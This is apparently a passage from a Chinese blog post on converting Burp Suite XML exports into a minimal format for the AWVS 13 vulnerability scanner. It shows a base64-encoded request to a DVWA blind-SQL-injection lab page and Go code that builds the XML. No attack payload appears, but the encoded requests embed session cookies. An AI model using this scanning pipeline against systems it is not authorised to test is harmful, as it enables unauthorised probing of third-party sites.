class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version="1.0"?&gt;</span><br><span class="line"><span class="meta">&lt;!DOCTYPE items [</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT items (item*)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST items burpVersion CDATA ""&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST items exportTime CDATA ""&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT time (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT url (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT host (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST host ip CDATA ""&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT port (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT protocol (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT method (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT path (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT extension (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT request (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST request base64 (true|false) "false"&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT status (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT responselength (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT mimetype (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT response (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST response base64 (true|false) "false"&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT comment (#PCDATA)&gt;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">items</span> <span class="attr">burpVersion</span>=<span class="string">"2.1.06"</span> <span class="attr">exportTime</span>=<span class="string">"Tue Feb 04 17:55:42 CST 2020"</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">time</span>&gt;</span>Tue Feb 04 17:55:28 CST 2020<span class="tag">&lt;/<span class="name">time</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://192.168.0.108/vulnerabilities/sqli_blind/?id=qyf&amp;Submit=Submit]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">host</span> <span class="attr">ip</span>=<span class="string">"192.168.0.108"</span>&gt;</span>192.168.0.108<span class="tag">&lt;/<span class="name">host</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">port</span>&gt;</span>80<span class="tag">&lt;/<span class="name">port</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">protocol</span>&gt;</span>http<span class="tag">&lt;/<span class="name">protocol</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">path</span>&gt;</span>&lt;![CDATA[/vulnerabilities/sqli_blind/?id=qyf&amp;Submit=Submit]]&gt;<span class="tag">&lt;/<span class="name">path</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">extension</span>&gt;</span>null<span class="tag">&lt;/<span class="name">extension</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[R0VUIC92dWxuZXJhYmlsaXRpZXMvc3FsaV9ibGluZC8/aWQ9cXlmJlN1Ym1pdD1TdWJtaXQgSFRUUC8xLjENCkhvc3Q6IDE5Mi4xNjguMC4xMDgNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzMpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OS4wLjM5NDUuMTMwIFNhZmFyaS81MzcuMzYNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCxhcHBsaWNhdGlvbi9zaWduZWQtZXhjaGFuZ2U7dj1iMztxPTAuOQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNOLHpoO3E9MC45DQpDb29raWU6IFBIUFNFU1NJRD1pdmJ1amc4ZWNyYTIxMm9sNGplZGxhbWd1Njsgc2VjdXJpdHk9bG93DQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">status</span>&gt;</span>404<span class="tag">&lt;/<span class="name">status</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">responselength</span>&gt;</span>4842<span class="tag">&lt;/<span class="name">responselength</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">mimetype</span>&gt;</span>HTML<span class="tag">&lt;/<span class="name">mimetype</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">response</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[SFRUUC8xLjEgNDA0IE5vdCBGb3VuZA0KRGF0ZTogVHVlLCAwNCBGZWIgMjAyMCAwOTo1NToyOCBHTVQNClNlcnZlcjogQXBhY2hlLzIuNC4yNSAoRGViaWFuKQ0KRXhwaXJlczogVHVlLCAyMyBKdW4gMjAwOSAxMjowMDowMCBHTVQNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkNvbnRlbnQtTGVuZ3RoOiA0NTY3DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOA0KDQoNCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQoJPGhlYWQ+DQoJCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPg0KDQoJCTx0aXRsZT5WdWxuZXJhYmlsaXR5OiBTUUwgSW5qZWN0aW9uIChCbGluZCkgOjogRGFtbiBWdWxuZXJhYmxlIFdlYiBBcHBsaWNhdGlvbiAoRFZXQSkgdjEuMTAgKkRldmVsb3BtZW50KjwvdGl0bGU+DQoNCgkJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iLi4vLi4vZHZ3YS9jc3MvbWFpbi5jc3MiIC8+DQoNCgkJPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJcaW1hZ2UvaWNvIiBocmVmPSIuLi8uLi9mYXZpY29uLmljbyIgLz4NCg0KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSIuLi8uLi9kdndhL2pzL2R2d2FQYWdlLmpzIj48L3NjcmlwdD4NCg0KCTwvaGVhZD4NCg0KCTxib2R5IGNsYXNzPSJob21lIj4NCgkJPGRpdiBpZD0iY29udGFpbmVyIj4NCg0KCQkJPGRpdiBpZD0iaGVhZGVyIj4NCg0KCQkJCTxpbWcgc3JjPSIuLi8uLi9kdndhL2ltYWdlcy9sb2dvLnBuZyIgYWx0PSJEYW1uIFZ1bG5lcmFibGUgV2ViIEFwcGxpY2F0aW9uIiAvPg0KDQoJCQk8L2Rpdj4NCg0KCQkJPGRpdiBpZD0ibWFpbl9tZW51Ij4NCg0KCQkJCTxkaXYgaWQ9Im1haW5fbWVudV9wYWRkZWQiPg0KCQkJCTx1bCBjbGFzcz0ibWVudUJsb2NrcyI+PGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uLy4iPkhvbWU8L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL2luc3RydWN0aW9ucy5waHAiPkluc3RydWN0aW9uczwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vc2V0dXAucGhwIj5TZXR1cCAvIFJlc2V0IERCPC9hPjwvbGk+CjwvdWw+PHVsIGNsYXNzPSJtZW51QmxvY2tzIj48bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL2JydXRlLyI+QnJ1dGUgRm9yY2U8L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy9leGVjLyI+Q29tbWFuZCBJbmplY3Rpb248L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy9jc3JmLyI+Q1NSRjwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL2ZpLy4/cGFnZT1pbmNsdWRlLnBocCI+RmlsZSBJbmNsdXNpb248L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy91cGxvYWQvIj5GaWxlIFVwbG9hZDwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL2NhcHRjaGEvIj5JbnNlY3VyZSBDQVBUQ0hBPC9hPjwvbGk+CjxsaSBjbGFzcz0iIj48YSBocmVmPSIuLi8uLi92dWxuZXJhYmlsaXRpZXMvc3FsaS8iPlNRTCBJbmplY3Rpb248L2E+PC9saT4KPGxpIGNsYXNzPSJzZWxlY3RlZCI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL3NxbGlfYmxpbmQvIj5TUUwgSW5qZWN0aW9uIChCbGluZCk8L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy93ZWFrX2lkLyI+V2VhayBTZXNzaW9uIElEczwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL3hzc19kLyI+WFNTIChET00pPC9hPjwvbGk+CjxsaSBjbGFzcz0iIj48YSBocmVmPSIuLi8uLi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIj5YU1MgKFJlZmxlY3RlZCk8L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy94c3Nfcy8iPlhTUyAoU3RvcmVkKTwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vdnVsbmVyYWJpbGl0aWVzL2NzcC8iPkNTUCBCeXBhc3M8L2E+PC9saT4KPGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3Z1bG5lcmFiaWxpdGllcy9qYXZhc2NyaXB0LyI+SmF2YVNjcmlwdDwvYT48L2xpPgo8L3VsPjx1bCBjbGFzcz0ibWVudUJsb2NrcyI+PGxpIGNsYXNzPSIiPjxhIGhyZWY9Ii4uLy4uL3NlY3VyaXR5LnBocCI+RFZXQSBTZWN1cml0eTwvYT48L2xpPgo8bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vcGhwaW5mby5waHAiPlBIUCBJbmZvPC9hPjwvbGk+CjxsaSBjbGFzcz0iIj48YSBocmVmPSIuLi8uLi9hYm91dC5waHAiPkFib3V0PC9hPjwvbGk+CjwvdWw+PHVsIGNsYXNzPSJtZW51QmxvY2tzIj48bGkgY2xhc3M9IiI+PGEgaHJlZj0iLi4vLi4vbG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CjwvdWw+DQoJCQkJPC9kaXY+DQoNCgkJCTwvZGl2Pg0KDQoJCQk8ZGl2IGlkPSJtYWluX2JvZHkiPg0KDQoJCQkJDQo8ZGl2IGNsYXNzPSJib2R5X3BhZGRlZCI+DQoJPGgxPlZ1bG5lcmFiaWxpdHk6IFNRTCBJbmplY3Rpb24gKEJsaW5kKTwvaDE+DQoNCgkNCg0KCTxkaXYgY2xhc3M9InZ1bG5lcmFibGVfY29kZV9hcmVhIj4NCgkJPGZvcm0gYWN0aW9uPSIjIiBtZXRob2Q9IkdFVCI+DQoJCQk8cD4NCgkJCQlVc2VyIElEOgoJCQkJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJpZCI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJTdWJtaXQiIHZhbHVlPSJTdWJtaXQiPg0KCQkJPC9wPgoNCgkJPC9mb3JtPg0KCQk8cHJlPlVzZXIgSUQgaXMgTUlTU0lORyBmcm9tIHRoZSBkYXRhYmFzZS48L3ByZT4NCgk8L2Rpdj4NCg0KCTxoMj5Nb3JlIEluZm9ybWF0aW9uPC9oMj4NCgk8dWw+DQoJCTxsaT48YSBocmVmPSJodHRwOi8vd3d3LnNlY3VyaXRlYW0uY29tL3NlY3VyaXR5cmV2aWV3cy81RFAwTjFQNzZFLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5odHRwOi8vd3d3LnNlY3VyaXRlYW0uY29tL3NlY3VyaXR5cmV2aWV3cy81RFAwTjFQNzZFLmh0bWw8L2E+PC9saT4NCgkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1NRTF9pbmplY3Rpb24iIHRhcmdldD0iX2JsYW5rIj5odHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9TUUxfaW5qZWN0aW9uPC9hPjwvbGk+DQoJCTxsaT48YSBocmVmPSJodHRwOi8vZmVycnVoLm1hdml0dW5hLmNvbS9zcWwtaW5qZWN0aW9uLWNoZWF0c2hlZXQtb2t1LyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly9mZXJydWgubWF2aXR1bmEuY29tL3NxbC1pbmplY3Rpb24tY2hlYXRzaGVldC1va3UvPC9hPjwvbGk+DQoJCTxsaT48YSBocmVmPSJodHRwOi8vcGVudGVzdG1vbmtleS5uZXQvY2hlYXQtc2hlZXQvc3FsLWluamVjdGlvbi9teXNxbC1zcWwtaW5qZWN0aW9uLWNoZWF0LXNoZWV0IiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovL3BlbnRlc3Rtb25rZXkubmV0L2NoZWF0LXNoZWV0L3NxbC1pbmplY3Rpb24vbXlzcWwtc3FsLWluamVjdGlvbi1jaGVhdC1zaGVldDwvYT48L2xpPg0KCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9CbGluZF9TUUxfSW5qZWN0aW9uIiB0YXJnZXQ9Il9ibGFuayI+aHR0cHM6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9CbGluZF9TUUxfSW5qZWN0aW9uPC9hPjwvbGk+DQoJCTxsaT48YSBocmVmPSJodHRwOi8vYm9iYnktdGFibGVzLmNvbS8iIHRhcmdldD0iX2JsYW5rIj5odHRwOi8vYm9iYnktdGFibGVzLmNvbS88L2E+PC9saT4NCgk8L3VsPg0KPC9kaXY+Cg0KCQkJCTxiciAvPjxiciAvPg0KCQkJCQ0KDQoJCQk8L2Rpdj4NCg0KCQkJPGRpdiBjbGFzcz0iY2xlYXIiPg0KCQkJPC9kaXY+DQoNCgkJCTxkaXYgaWQ9InN5c3RlbV9pbmZvIj4NCgkJCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iVmlldyBIZWxwIiBjbGFzcz0icG9wdXBfYnV0dG9uIiBpZD0naGVscF9idXR0b24nIGRhdGEtaGVscC11cmw9Jy4uLy4uL3Z1bG5lcmFiaWxpdGllcy92aWV3X2hlbHAucGhwP2lkPXNxbGlfYmxpbmQmc2VjdXJpdHk9bG93JyApIj4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IlZpZXcgU291cmNlIiBjbGFzcz0icG9wdXBfYnV0dG9uIiBpZD0nc291cmNlX2J1dHRvbicgZGF0YS1zb3VyY2UtdXJsPScuLi8uLi92dWxuZXJhYmlsaXRpZXMvdmlld19zb3VyY2UucGhwP2lkPXNxbGlfYmxpbmQmc2VjdXJpdHk9bG93JyApIj4gPGRpdiBhbGlnbj0ibGVmdCI+PGVtPlVzZXJuYW1lOjwvZW0+IGFkbWluPGJyIC8+PGVtPlNlY3VyaXR5IExldmVsOjwvZW0+IGxvdzxiciAvPjxlbT5QSFBJRFM6PC9lbT4gZGlzYWJsZWQ8L2Rpdj4NCgkJCTwvZGl2Pg0KDQoJCQk8ZGl2IGlkPSJmb290ZXIiPg0KDQoJCQkJPHA+RGFtbiBWdWxuZXJhYmxlIFdlYiBBcHBsaWNhdGlvbiAoRFZXQSkgdjEuMTAgKkRldmVsb3BtZW50KjwvcD4NCgkJCQk8c2NyaXB0IHNyYz0nL2R2d2EvanMvYWRkX2V2ZW50X2xpc3RlbmVycy5qcyc+PC9zY3JpcHQ+DQoNCgkJCTwvZGl2Pg0KDQoJCTwvZGl2Pg0KDQoJPC9ib2R5Pg0KDQo8L2h0bWw+]]&gt;<span class="tag">&lt;/<span class="name">response</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">comment</span>&gt;</span><span class="tag">&lt;/<span class="name">comment</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">items</span>&gt;</span></span><br></pre></td></tr></table></figure><p>精简后xml数据格式：</p><p>为什么需要精简成如下数据格式？因为经过调研调试，发现url节点是必须的，而request节点awvs会在post请求中使用，method节点多一个也不多，就顺便带入。其他节点删除后，并没有明显的影响漏洞扫描结果数据。在awvs12中url节点还不是必须的，而awvs13不设置url节点会无法扫描”terminate called after throwing an instance of ‘ax::utility::WvsException’\n  what():  HttpJob: unable to set url:”。<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">items</span> <span class="attr">burpVersion</span>=<span class="string">"2.1.06"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://awvshello.m.apple.com/vulnerabilities/sqli_blind/?id=qyf&amp;Submit=Submit]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[R0VUIC92dWxuZXJhYmlsaXRpZXMvc3FsaV9ibGluZC8gSFRUUC8xLjENClJlZmVyZXI6IGh0dHA6Ly9hd3ZzcXlmLnRlc3Quc2Fua3VhaS5jb20vdnVsbmVyYWJpbGl0aWVzL3NxbGlfYmxpbmQvDQpIb3N0OiBhd3ZzcXlmLnRlc3Quc2Fua3VhaS5jb20NClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzMpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OS4wLjM5NDUuMTMwIFNhZmFyaS81MzcuMzYNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCxhcHBsaWNhdGlvbi9zaWduZWQtZXhjaGFuZ2U7dj1iMztxPTAuOQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTix6aDtxPTAuOQ0KQ29va2llOiBfbHhzZGtfY3VpZD0xNmY1NGVkMWYwNGM4LTA5OTE4N2Y3NmFlNzk2LTFkMzM2YjVhLTE2ODAwMC0xNmY1NGVkMWYwNWM4OyBfbHhzZGs9MTZmNTRlZDFmMDRjOC0wOTkxODdmNzZhZTc5Ni0xZDMzNmI1YS0xNjgwMDAtMTZmNTRlZDFmMDVjODsgdT0xMjkwNTEzNDgyOyBfZ2E9R0ExLjIuNDg0Mzc2ODA4LjE1Nzk0MzAzMTQ7IF9seHNka19zPTE3MDFlYzg4ODJhLTIyNC1mN2UtZmIxJTdDcXV5aWZlaSU3QzI3OyBQSFBTRVNTSUQ9cjJkYmtudTRzbnFpYWRiYmllM2dnOWZxYTA7IHNlY3VyaXR5PWxvdw0KDQo=]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">items</span>&gt;</span></span><br></pre></td></tr></table></figure></p><h2 id="cdata-xml-with-golang-of-export-burpsuite"><a href="#cdata-xml-with-golang-of-export-burpsuite" class="headerlink" title="cdata xml with golang of export burpsuite"></a>cdata xml with golang of export burpsuite</h2><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/xml"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> items <span class="keyword">struct</span> &#123;</span><br><span class="line">XMLName xml.Name <span class="string">`xml:"items"`</span></span><br><span class="line">Version <span class="keyword">string</span>   <span class="string">`xml:"burpVersion,attr"`</span></span><br><span class="line">Itemlist []item <span class="string">`xml:"item"`</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">type</span> item <span class="keyword">struct</span> &#123;</span><br><span class="line">URL CdataStringUrl<span class="string">`xml:"url"`</span></span><br><span class="line">METHOD CdataStringMethod <span class="string">`xml:"method"`</span></span><br><span class="line">Req CdataString <span class="string">`xml:"request"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> CdataString <span class="keyword">struct</span> &#123;</span><br><span class="line">Value <span class="keyword">string</span> <span class="string">`xml:",cdata"`</span></span><br><span class="line">Base64 <span class="keyword">string</span> <span class="string">`xml:"base64,attr"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> CdataStringUrl <span class="keyword">struct</span> &#123;</span><br><span class="line">Value <span class="keyword">string</span> <span class="string">`xml:",cdata"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> CdataStringMethod <span class="keyword">struct</span> &#123;</span><br><span class="line">Value <span class="keyword">string</span> <span class="string">`xml:",cdata"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">v := &amp;items&#123;Version: <span class="string">"2.1.06"</span>&#125;</span><br><span class="line"><span class="keyword">for</span> i:=<span class="number">0</span>;i&lt;<span class="number">10</span>;i++&#123;</span><br><span class="line"></span><br><span class="line">v.Itemlist = <span class="built_in">append</span>(v.Itemlist, item&#123;URL:CdataStringUrl&#123;Value:<span class="string">"http://123.com"</span>&#125;, METHOD:CdataStringMethod&#123;Value:<span class="string">"GET"</span>&#125;, Req: CdataString&#123;Value: <span class="string">"bbbccc"</span>, Base64:<span class="string">"true"</span>&#125;&#125;)</span><br><span class="line">&#125;</span><br><span class="line">output, err := xml.MarshalIndent(v, <span class="string">""</span>, <span class="string">"  "</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"error: %v\n"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">fmt.Println(<span class="keyword">string</span>(output))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输出结果：<br>对base64数据在demo中没有转码，这里只做整体数据格式参考<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">items</span> <span class="attr">burpVersion</span>=<span class="string">"2.1.06"</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span 